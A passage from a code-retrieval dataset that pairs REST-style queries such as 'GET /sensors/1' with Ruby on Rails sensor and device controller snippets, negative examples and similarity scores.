"0.56837124",
"0.5612073",
"0.5608123",
"0.5608123",
"0.55572385",
"0.5554902",
"0.5530629",
"0.550776",
"0.5485087",
"0.5442348",
"0.5392634",
"0.5349398",
"0.53311956",
"0.5321127",
"0.5293448",
"0.52853125",
"0.5283962",
"0.5276556",
"0.52693367",
"0.52679384",
"0.52679247",
"0.5254376",
"0.52364475",
"0.52140284",
"0.5211957",
"0.518972",
"0.51802963",
"0.51582754",
"0.51558274",
"0.5133254",
"0.5128015",
"0.5118677",
"0.5092954",
"0.50695217",
"0.50643414",
"0.50412774",
"0.503617",
"0.5016356",
"0.5013246",
"0.50106204",
"0.4989225",
"0.49885476",
"0.49884126",
"0.49833137",
"0.4981778",
"0.49772438",
"0.49655324",
"0.4962227",
"0.49551743",
"0.49372113",
"0.49219707",
"0.4912545",
"0.49036074",
"0.49022925",
"0.48957166",
"0.4895282",
"0.48917925",
"0.48860186",
"0.487773",
"0.4855282",
"0.48405963",
"0.48349804",
"0.4834415",
"0.48329663",
"0.4819226",
"0.48171446",
"0.48138613",
"0.48066843",
"0.47845942",
"0.4784082",
"0.4774513",
"0.47736782",
"0.47677246",
"0.4767188",
"0.4762602",
"0.47621843",
"0.47456297",
"0.47456297",
"0.47359756",
"0.47318506",
"0.472968",
"0.47296268",
"0.47293374",
"0.47283348",
"0.4723244",
"0.47222206",
"0.47024354",
"0.46955103",
"0.46955103",
"0.4688827",
"0.46791148",
"0.4677257",
"0.4676687",
"0.46754935",
"0.46629187",
"0.46629187"
] | 0.0 | -1 |
GET /sensors GET /sensors.json | def index
@mysensors = current_user.sensors
@othersensors=Array.new
current_user.misuration_subscriptions.each do |ss|
@othersensors.push(ss.sensor)
end
def aggiorna_firmware
@sensors = Sensor.find(params[:id])
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list\n owner.json_api_command('sensor', nil, '-l')&.fetch(:sensors)\n end",
"def show\n sensorType = params[:sensor_type]\n id = params[:id]\n since = params[:since]\n\n table = getSensorTable(sensorType)\n if table == nil\n # raise ActionController::RoutingError.new('Unrecognized Sensor')\n # TODO remove this once testing is done\n r = Random.new\n data = [{sensor_reading: (1 + r.rand(500)/100.0) ,\"timestamp\": Time.now}]\n else\n data = table.where([\"device_id = ? and timestamp > ?\", id, since]).select(\"timestamp, sensor_reading\")\n end\n\n respond_to do |format|\n format.json do\n render json: data\n end\n end\n end",
"def index\n return redirect_to '/users/sign_in' unless user_signed_in?\n @sensors = current_user.sensors\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sensors }\n end\n end",
"def index\n @sensors = SensorModule.find_by(id: params[:sensor_module_id]).sensors || Sensor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sensors }\n end\n end",
"def index\n @sensors = Sensor.all\n end",
"def index\n @sensors = Sensor.user_sensors current_user\n end",
"def show\n if current_user == nil\n head(:unauthorized)\n return\n end\n \n @sensor = Sensor.find(params[:id])\n render json: @sensor, status: :ok\n end",
"def index\n @sensors = Sensor.all\n\n s = []\n for sensor in @sensors \n s.push( {:name => sensor.name, :value => sensor.value, :id => sensor.id} )\n end\n render json: s\n end",
"def sensors\r\n SensorsController.instance\r\n end",
"def sensor\n Sensor.initialize_from_path(path: \"#{resource_path}/sensor\", client: @client)\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sensor }\n end\n end",
"def show\n @temperature_sensor = TemperatureSensor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @temperature_sensor }\n end\n end",
"def get_sensors_list(sensors)\n # convert from symbols to IDs\n sensors.map! do |sensor|\n if sensor.is_a?(Symbol)\n SENSOR_SYMBOLS.find_index(sensor)\n else\n sensor\n end\n end\n\n # request sensor data!\n request = [Constants::QUERY_LIST, sensors.length] + sensors\n write_chars(request)\n\n raw_data = \"\"\n sensors.each do |id|\n raw_data << @serial.read(SENSOR_PACKET_SIZE[id])\n end\n\n sensor_bytes_to_packets(raw_data, sensors)\n end",
"def index\n @sensors = Sensor.all\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def sensorread\n @sensor = Sensor.find(params[:id])\n @snum = @sensor.number\n @stype = @sensor.sensor_type\n if @stype == \"DHT\"\n \n eval(\"$sensor#{@snum}temp\").read do |temperature|\n @stempread = \"#{temperature}\"\n end\n sleep 2\n eval(\"$sensor#{@snum}humidity\").read do |humidity|\n @shumidityread = \"#{humidity}\"\n end\n @sensor.last_reading = \"Temp:#{@stempread}C Humidity:#{@shumidityread}%\"\n @sensor.save\n end\n @sensors = Sensor.all\n respond_to do |format|\n format.js\n end\n end",
"def get_reading\n\t\turi = URI.parse('http://localhost:5000/thermometers.json')\n\t\tthermo_response = Net::HTTP.get_response(uri)\n\t\tcheck = thermo_response.body\n\t\tj = JSON.parse(check)\n\tend",
"def sensors\n list = []\n each_sensor {|s| list << s}\n list\n end",
"def show\n @sensor = Sensor.find(params[:id])\n @values = @sensor.values\n\n s = []\n for v in @values \n s.push( { :id => v.id, :decibel => v.decibel } )\n end\n @v = s\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: { :name => @sensor.name, :value => @sensor.value, :id => @sensor.id} }\n end\n end",
"def index\n @sensor_data = SensorDatum.all\n end",
"def last_sensor_reading\n render json: Sensor.all.map { |s| s.weather_datum.last }\n end",
"def get_sensor(sensor)\n get_sensors_list([sensor])[sensor]\n end",
"def get_sensor_information(sensorkey)\n skeys = skey_forming(sensorkey)\n return nil if skeys.empty?\n\n endpoint = \"/api/sensor_info\"\n req = { \"mailaddress\" => @mailaddress,\n \"data\" => skeys\n }\n jsonstr = @webreq.post(req, endpoint)\n response = JSON.parse(jsonstr)\n return response[\"data\"] \n end",
"def index\n @sensor = Sensor.find(params[:id])\n @values = @sensor.values\n # render json: @values\n\n s = []\n for v in @values \n s.push( { :id => v.id, :decibel => v.decibel } )\n end\n render json: s\n\n end",
"def index\n @devices = Device.all\n render json: @devices\n end",
"def index\n authorize! :show, @sensor\n set_filter_dates\n set_granularity\n @records = @sensor.records.where(granularity: @granularity, created_at: @from..@to)\n\n respond_to do |format|\n format.html\n format.json { render json: @records }\n end\n end",
"def index\n @sensor_data = SensorData.by_time\n end",
"def new\n @temperature_sensor = TemperatureSensor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @temperature_sensor }\n end\n end",
"def show\n\t\t@sensor = Sensor.find(params[:sensor_id])\n @reading = Reading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reading }\n end\n end",
"def get_json\n response = @api.request(:get, @location)\n response.body if response.status == 200\n end",
"def index\n weathers = Weather.all\n render json: weathers, status: 200\n end",
"def index\n @devices = Device.where(:user_id, auth_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @devices }\n end\n end",
"def sensor\n @sensor ||= TermuxRubyApi::SubSystems::Sensor.new(self)\n end",
"def get_sensor_statuses\n response = @db_client.query( \"SELECT name,status,updated_time,enabled,type,dismiss,verbose FROM #{SENSOR_STATUS}\" )\n return response.entries\n end",
"def get_measurements\n render json: @data_source.measurements\n end",
"def create\n @sensor = Sensor.new(user: current_user)\n\n respond_to do |format|\n if @sensor.save\n format.html { redirect_to sensors_path, notice: t(:sensor_created) }\n format.json { render :show, status: :created, location: @sensor }\n else\n format.html { render :new }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n hardware = Hardware.all\n render json: hardware.to_json(:except => [:id])\n end",
"def get_interval_data(sensor_id, access_token, interval)\n data= MySmartGrid.get(\n \"/sensor/#{sensor_id}?interval=#{interval}&resolution=minute&unit=watt\",\n :headers => { \"X-Version\" => \"1.0\", \n \"X-Token\" => access_token,\n \"Accept\" => \"application/json\"\n });\n return JSON.parse(data.body)\n end",
"def index\n\n require 'net/http'\n require 'json'\n\n @measures = Measure.all.order(\"created_at DESC\")\n weatherData\n\n end",
"def get_latest_reading\n id = params[:id]\n device = Device.find_by_network_address(id)\n if device.nil?\n render :json => nil\n return\n end\n last_reading_time = device.last_reading_at * 1000 # convert to millisecond\n reading = @sensor_reading_table.items.query(\n :hash_value => id,\n :range_value => last_reading_time,\n :select => :all)\n if !reading.nil?\n render :json => reading.to_a.last.attributes\n else\n render :json => nil\n end\n end",
"def request_sensor(sensor_index:, read_key: nil)\n GetSensor.call(client: read_client, sensor_index: sensor_index, read_key: read_key)\n end",
"def sensor_list\n #this is making a post request by intializing the restclient gem with RestClient::Request.new to get sensors list\n #if the call is successful it provide the response.body\n #if fails and returns a 400 with the error.\n response = RestClient::Request.new({\n method: :post,\n url:\"https://api.samsara.com/v1/sensors/list?access_token=#{Rails.application.credentials.secret_key}\",\n payload:{ \"groupId\": 32780 }.to_json,\n headers: { :accept => :json, content_type: :json }\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, (response.to_json) ]\n when 200\n [ :success, (response.to_json) ]\n else\n fail \"Invalid response #{response} received.\"\n end\n # here I setting the body to an elemnet that will be availble in the views.\n @sensor_list = response.body\n end\n end",
"def index\n\t @sensor = Sensor.find(params[:sensor_id])\n\t\t@readings = @sensor.readings\n @readings = @sensor.readings.paginate :per_page => 10, :page => params[:page], :order => 'created_at DESC' || 1\n\n# @readings = Reading.all\n#\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @readings }\n end\n end",
"def get_surf_data\n url = \"http://magicseaweed.com/api/#{ENV['MAGIC_SEAWEED_API_KEY']}/forecast/?spot_id=6128&units=UK\"\n uri = URI(url)\n\n response = Net::HTTP.get(uri)\n ActiveSupport::JSON.decode(response) if response != ''\n end",
"def show\n set_filter_dates\n set_granularity\n @records = @sensor.records.where(created_at: @from..@to)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sensor }\n end\n end",
"def show\n @energy = Energy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @energy }\n end\n end",
"def get_systems_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UniverseApi.get_systems ...\"\n end\n if opts[:'datasource'] && !['tranquility', 'singularity'].include?(opts[:'datasource'])\n fail ArgumentError, 'invalid value for \"datasource\", must be one of tranquility, singularity'\n end\n # resource path\n local_var_path = \"/universe/systems/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'datasource'] = opts[:'datasource'] if !opts[:'datasource'].nil?\n query_params[:'user_agent'] = opts[:'user_agent'] if !opts[:'user_agent'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-User-Agent'] = opts[:'x_user_agent'] if !opts[:'x_user_agent'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Integer>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UniverseApi#get_systems\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @sensor = Sensor.find(params[:id])\n\n if @sensor.update(params[:sensor])\n head :no_content\n $redis.publish('sensors.update', { :name => @sensor.name, :value => @sensor.value, :id => @sensor.id}.to_json)\n else\n render json: @sensor.errors, status: :unprocessable_entity\n end\n end",
"def create\n @sensor = Sensor.new(sensor_params)\n\n respond_to do |format|\n if @sensor.save\n format.html { redirect_to @sensor, notice: 'Sensor was successfully created.' }\n format.json { render json: @sensor, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_voltage\n send_request(FUNCTION_GET_VOLTAGE, [], '', 2, 'S')\n end",
"def index\n @vehicle_realtimes = VehicleRealtime.all\n \n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtimes.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def index\n\t\t@rooms = Room.order(updated_at: :desc)\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @rooms }\n\t\tend\n\tend",
"def getReadings(sensor_type)\n\n @readings = Array.new\n\n @readings = DataReading.selectAllClientReadings(@client_id, sensor_type)\n\n\n\n end",
"def show\n @hardware = Hardware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @hardware }\n end\n end",
"def sensor\n options[:sensor] || Config.sensor\n end",
"def index\n render json: WeatherDatum.all\n end",
"def index\n @stations = Station.all\n\n render json: @stations\n end",
"def index\n #getting measurements only that belong to current user account\n beehives = Beehive.where(user_id: current_user.id)\n @measurements = Array.new\n beehives.each do |beehive|\n beehive.sensors.each do |sensor|\n (@measurements << sensor.measurements).flatten!\n end\n end\n end",
"def list_endpoints\n render json: @endpoints, status: 200\n end",
"def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend",
"def index\n @user = current_user\n @systolic_range = SystolicRange.new\n @readings = Reading.all\n end",
"def show\n @consensu = Consensu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consensu }\n end\n end",
"def stats\n _get(\"/system/stats\") { |json| json }\n end",
"def forward_json(reading_json)\n #uri = URI.parse(\"http://cmu-sensor-network.herokuapp.com/sensors\")\n uri = URI.parse(\"http://209.129.244.9/sensors\")\n post_json_request = Net::HTTP::Post.new(uri.request_uri)\n post_json_request.add_field(\"Content-Type\", \"application/json\")\n post_json_request.body = reading_json\n http = Net::HTTP::new(uri.host, uri.port)\n response = http.request(post_json_request)\n return response\n end",
"def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend",
"def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend",
"def show\n @standard_measurement = StandardMeasurement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @standard_measurement }\n end\n end",
"def show\n if @misuration_subscription.user.id!=current_user.id\n respond_to do |format|\n @misuration_subscription = MisurationSubscription.new\n @m=Array.new\n MisurationSubscription.where(\"user_id=?\",current_user.id).each do |m|\n @m.push(m.sensor_id)\n end\n @availablesensors=Sensor.all.where(\"public=true and user_id !=?\",current_user.id).where.not(id: @m)\n format.html { render :new }\n format.json { render json: @misuration_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sensor = Sensor.new(sensor_params)\n\n respond_to do |format|\n if @sensor.save\n flash[:success] = 'Sensor was successfully created.'\n format.html { redirect_to @sensor }\n format.json { render json: @sensor, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def live_look\n ids = params[:device_ids].split(',')\n if ids.empty?\n flash[:warning] = \"Please select at least one vehicle to view on the map.\"\n redirect_to devices_path\n return\n end\n\n @devices = current_user.devices\n @device_ids = params[:device_ids]\n\n respond_to do |format|\n format.html\n format.json {\n render :json => @devices.to_json(\n :methods => [:color, :connected],\n :include => {\n :position => {\n :methods => :time_of_day\n } \n }\n )\n }\n end\n end",
"def index\n @lights = Light.all\n\n render json: @lights\n end",
"def polling\n @locations = Location.where(\"picture IS NOT NULL\").group('vehicle_id').order('location_timestamp desc')\n render :json => {\"vehicles\"=>@locations }\n end",
"def index\n @nvs_subsystems = NvsSubsystem.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nvs_subsystems }\n end\n end",
"def show\n json_response(@device)\n end",
"def show\n render json: @heartbeat\n end",
"def show\n @energy_datum = EnergyDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @energy_datum }\n end\n end",
"def retrieve!\n raise Error::NotImplementedError, \"There is no current end point to get sensor data by id\"\n end",
"def read_online_temperature\n temperature_uri = \"https://labict.be/software-engineering/temperature/api/temperature/fake\"\n @online_data = URI.parse(temperature_uri).read\n end",
"def index\n @therm_resources = ThermResource.all\n end",
"def index\n @humidity_readings = HumidityReading.all\n end",
"def get_all_device_info\n # @device = Device.where(\"user_id = ?\",current_user[:id])\n # render json: @device\n @devices = User.get_all_user_devices(current_user[:id])\n render json: @devices\n end",
"def get_json\n response = conn.get(@current_location)\n parsed = JSON.parse(response.body, symbolize_names: true)\n\n end",
"def index\n @stations = Station.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stations }\n end\n end",
"def index\n @hardware_types = HardwareType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hardware_types }\n end\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def show\n @versions = @arduino.versions\n @sensors = @arduino.sensors\n end",
"def index\n @electors = Elector.all\n\n render json: @electors\n end",
"def index\n locations = Location.all\n render json: locations\n end",
"def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"def update\n if @sensor.update(sensor_params)\n render json: { status: :ok }\n else\n render json: { status: :unprocessable_entity }\n end\n end",
"def index\n @user = User.find(params[:user_id])\n @rooms = @user.rooms.all\n render json: @rooms if stale?(etag: @rooms.all, last_modified: @rooms.maximum(:updated_at))\n end",
"def index\n if authorise(request)\n auth_token = request.headers['Authorization1'].split(' ').last\n req = GetRoomsRequest.new(auth_token)\n serv = RoomServices.new\n resp = serv.get_rooms(req)\n render json: { status: resp.success, message: resp.message, data: resp.data }, status: :ok\n else\n render json: { status: false, message: 'Unauthorized' }, status: 401\n end\n end",
"def load_station_data\n data = Net::HTTP.get(URI.parse(stations_url))\n JSON.parse(data)[\"result\"]\n end",
"def get(path, params={})\n params = merge_set_up_params(params)\n JSON.parse(Typhoeus::Request.get(API_URL + path, :params => params).body)[\"response\"]\n end",
"def show\n @system = System.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @system }\n end\n end",
"def stations_list\n @route.get_stations_list\n end"
] | [
"0.78302395",
"0.72864616",
"0.72790223",
"0.71815115",
"0.69082516",
"0.6863284",
"0.685946",
"0.67612666",
"0.6641948",
"0.6557257",
"0.64905214",
"0.64006484",
"0.6374732",
"0.6336776",
"0.6251645",
"0.6243259",
"0.6158273",
"0.614347",
"0.6099776",
"0.6089257",
"0.6037153",
"0.6021275",
"0.59979355",
"0.5994378",
"0.5958859",
"0.5952967",
"0.58508295",
"0.58129907",
"0.5792073",
"0.5770413",
"0.57681656",
"0.57400817",
"0.5718915",
"0.56788266",
"0.567542",
"0.56635207",
"0.564937",
"0.56078875",
"0.55826306",
"0.55762124",
"0.5559129",
"0.55575806",
"0.55559915",
"0.5545905",
"0.55330306",
"0.5512298",
"0.55118763",
"0.5500433",
"0.5496407",
"0.5478014",
"0.5471936",
"0.54713947",
"0.54702145",
"0.5462184",
"0.54586995",
"0.5437237",
"0.54366857",
"0.5431236",
"0.5428767",
"0.54257864",
"0.54229945",
"0.5417445",
"0.54163235",
"0.54033875",
"0.54014814",
"0.5399334",
"0.5397891",
"0.53912026",
"0.5377767",
"0.537594",
"0.53648424",
"0.5360088",
"0.535993",
"0.5355841",
"0.5355096",
"0.5352729",
"0.5352562",
"0.53521466",
"0.5350671",
"0.5335535",
"0.53347933",
"0.5326559",
"0.5316532",
"0.53164786",
"0.53164786",
"0.53164786",
"0.53164786",
"0.53164786",
"0.53164786",
"0.53142565",
"0.5311463",
"0.52971274",
"0.52966124",
"0.5295098",
"0.5294539",
"0.52894074",
"0.52810866",
"0.5280079",
"0.527296",
"0.5268625"
] | 0.6017658 | 22 |
GET /sensors/1 GET /sensors/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n sensorType = params[:sensor_type]\n id = params[:id]\n since = params[:since]\n\n table = getSensorTable(sensorType)\n if table == nil\n # raise ActionController::RoutingError.new('Unrecognized Sensor')\n # TODO remove this once testing is done\n r = Random.new\n data = [{sensor_reading: (1 + r.rand(500)/100.0) ,\"timestamp\": Time.now}]\n else\n data = table.where([\"device_id = ? and timestamp > ?\", id, since]).select(\"timestamp, sensor_reading\")\n end\n\n respond_to do |format|\n format.json do\n render json: data\n end\n end\n end",
"def list\n owner.json_api_command('sensor', nil, '-l')&.fetch(:sensors)\n end",
"def index\n @sensors = SensorModule.find_by(id: params[:sensor_module_id]).sensors || Sensor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sensors }\n end\n end",
"def show\n if current_user == nil\n head(:unauthorized)\n return\n end\n \n @sensor = Sensor.find(params[:id])\n render json: @sensor, status: :ok\n end",
"def index\n return redirect_to '/users/sign_in' unless user_signed_in?\n @sensors = current_user.sensors\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sensors }\n end\n end",
"def index\n @sensors = Sensor.all\n end",
"def show\n @temperature_sensor = TemperatureSensor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @temperature_sensor }\n end\n end",
"def index\n @sensors = Sensor.all\n\n s = []\n for sensor in @sensors \n s.push( {:name => sensor.name, :value => sensor.value, :id => sensor.id} )\n end\n render json: s\n end",
"def sensors\r\n SensorsController.instance\r\n end",
"def index\n @sensors = Sensor.user_sensors current_user\n end",
"def sensor\n Sensor.initialize_from_path(path: \"#{resource_path}/sensor\", client: @client)\n end",
"def sensorread\n @sensor = Sensor.find(params[:id])\n @snum = @sensor.number\n @stype = @sensor.sensor_type\n if @stype == \"DHT\"\n \n eval(\"$sensor#{@snum}temp\").read do |temperature|\n @stempread = \"#{temperature}\"\n end\n sleep 2\n eval(\"$sensor#{@snum}humidity\").read do |humidity|\n @shumidityread = \"#{humidity}\"\n end\n @sensor.last_reading = \"Temp:#{@stempread}C Humidity:#{@shumidityread}%\"\n @sensor.save\n end\n @sensors = Sensor.all\n respond_to do |format|\n format.js\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sensor }\n end\n end",
"def get_sensor(sensor)\n get_sensors_list([sensor])[sensor]\n end",
"def show\n @sensor = Sensor.find(params[:id])\n @values = @sensor.values\n\n s = []\n for v in @values \n s.push( { :id => v.id, :decibel => v.decibel } )\n end\n @v = s\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: { :name => @sensor.name, :value => @sensor.value, :id => @sensor.id} }\n end\n end",
"def get_reading\n\t\turi = URI.parse('http://localhost:5000/thermometers.json')\n\t\tthermo_response = Net::HTTP.get_response(uri)\n\t\tcheck = thermo_response.body\n\t\tj = JSON.parse(check)\n\tend",
"def last_sensor_reading\n render json: Sensor.all.map { |s| s.weather_datum.last }\n end",
"def show\n\t\t@sensor = Sensor.find(params[:sensor_id])\n @reading = Reading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reading }\n end\n end",
"def get_latest_reading\n id = params[:id]\n device = Device.find_by_network_address(id)\n if device.nil?\n render :json => nil\n return\n end\n last_reading_time = device.last_reading_at * 1000 # convert to millisecond\n reading = @sensor_reading_table.items.query(\n :hash_value => id,\n :range_value => last_reading_time,\n :select => :all)\n if !reading.nil?\n render :json => reading.to_a.last.attributes\n else\n render :json => nil\n end\n end",
"def index\n @sensors = Sensor.all\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def index\n @mysensors = current_user.sensors\n @othersensors=Array.new\n current_user.misuration_subscriptions.each do |ss|\n @othersensors.push(ss.sensor)\n end\n\n def aggiorna_firmware\n @sensors = Sensor.find(params[:id])\n end \n\n end",
"def new\n @temperature_sensor = TemperatureSensor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @temperature_sensor }\n end\n end",
"def index\n @sensor_data = SensorData.by_time\n end",
"def index\n @sensor = Sensor.find(params[:id])\n @values = @sensor.values\n # render json: @values\n\n s = []\n for v in @values \n s.push( { :id => v.id, :decibel => v.decibel } )\n end\n render json: s\n\n end",
"def index\n @sensor_data = SensorDatum.all\n end",
"def request_sensor(sensor_index:, read_key: nil)\n GetSensor.call(client: read_client, sensor_index: sensor_index, read_key: read_key)\n end",
"def index\n @devices = Device.all\n render json: @devices\n end",
"def update\n @sensor = Sensor.find(params[:id])\n\n if @sensor.update(params[:sensor])\n head :no_content\n $redis.publish('sensors.update', { :name => @sensor.name, :value => @sensor.value, :id => @sensor.id}.to_json)\n else\n render json: @sensor.errors, status: :unprocessable_entity\n end\n end",
"def index\n authorize! :show, @sensor\n set_filter_dates\n set_granularity\n @records = @sensor.records.where(granularity: @granularity, created_at: @from..@to)\n\n respond_to do |format|\n format.html\n format.json { render json: @records }\n end\n end",
"def get_sensor_information(sensorkey)\n skeys = skey_forming(sensorkey)\n return nil if skeys.empty?\n\n endpoint = \"/api/sensor_info\"\n req = { \"mailaddress\" => @mailaddress,\n \"data\" => skeys\n }\n jsonstr = @webreq.post(req, endpoint)\n response = JSON.parse(jsonstr)\n return response[\"data\"] \n end",
"def get_sensors_list(sensors)\n # convert from symbols to IDs\n sensors.map! do |sensor|\n if sensor.is_a?(Symbol)\n SENSOR_SYMBOLS.find_index(sensor)\n else\n sensor\n end\n end\n\n # request sensor data!\n request = [Constants::QUERY_LIST, sensors.length] + sensors\n write_chars(request)\n\n raw_data = \"\"\n sensors.each do |id|\n raw_data << @serial.read(SENSOR_PACKET_SIZE[id])\n end\n\n sensor_bytes_to_packets(raw_data, sensors)\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def set_sensor\n @sensor = Sensor.find(params[:id])\n end",
"def show\n @hardware = Hardware.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @hardware }\n end\n end",
"def show\n @standard_measurement = StandardMeasurement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @standard_measurement }\n end\n end",
"def index\n @devices = Device.where(:user_id, auth_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @devices }\n end\n end",
"def show\n @metric = Metric.find(params[:id])\n\n render json: @metric\n end",
"def index\n hardware = Hardware.all\n render json: hardware.to_json(:except => [:id])\n end",
"def get_interval_data(sensor_id, access_token, interval)\n data= MySmartGrid.get(\n \"/sensor/#{sensor_id}?interval=#{interval}&resolution=minute&unit=watt\",\n :headers => { \"X-Version\" => \"1.0\", \n \"X-Token\" => access_token,\n \"Accept\" => \"application/json\"\n });\n return JSON.parse(data.body)\n end",
"def show\n @energy = Energy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @energy }\n end\n end",
"def sensor\n @sensor ||= TermuxRubyApi::SubSystems::Sensor.new(self)\n end",
"def show\n @meter_reading = MeterReading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meter_reading }\n end\n end",
"def index\n\t @sensor = Sensor.find(params[:sensor_id])\n\t\t@readings = @sensor.readings\n @readings = @sensor.readings.paginate :per_page => 10, :page => params[:page], :order => 'created_at DESC' || 1\n\n# @readings = Reading.all\n#\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @readings }\n end\n end",
"def get_measurements\n render json: @data_source.measurements\n end",
"def index\n weathers = Weather.all\n render json: weathers, status: 200\n end",
"def show\n @consensu = Consensu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @consensu }\n end\n end",
"def index\n\n require 'net/http'\n require 'json'\n\n @measures = Measure.all.order(\"created_at DESC\")\n weatherData\n\n end",
"def sensors\n list = []\n each_sensor {|s| list << s}\n list\n end",
"def retrieve!\n raise Error::NotImplementedError, \"There is no current end point to get sensor data by id\"\n end",
"def create\n @sensor = Sensor.new(user: current_user)\n\n respond_to do |format|\n if @sensor.save\n format.html { redirect_to sensors_path, notice: t(:sensor_created) }\n format.json { render :show, status: :created, location: @sensor }\n else\n format.html { render :new }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n set_filter_dates\n set_granularity\n @records = @sensor.records.where(created_at: @from..@to)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sensor }\n end\n end",
"def create\n @sensor = Sensor.new(sensor_params)\n\n respond_to do |format|\n if @sensor.save\n format.html { redirect_to @sensor, notice: 'Sensor was successfully created.' }\n format.json { render json: @sensor, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @sensor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getReadings(sensor_type)\n\n @readings = Array.new\n\n @readings = DataReading.selectAllClientReadings(@client_id, sensor_type)\n\n\n\n end",
"def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend",
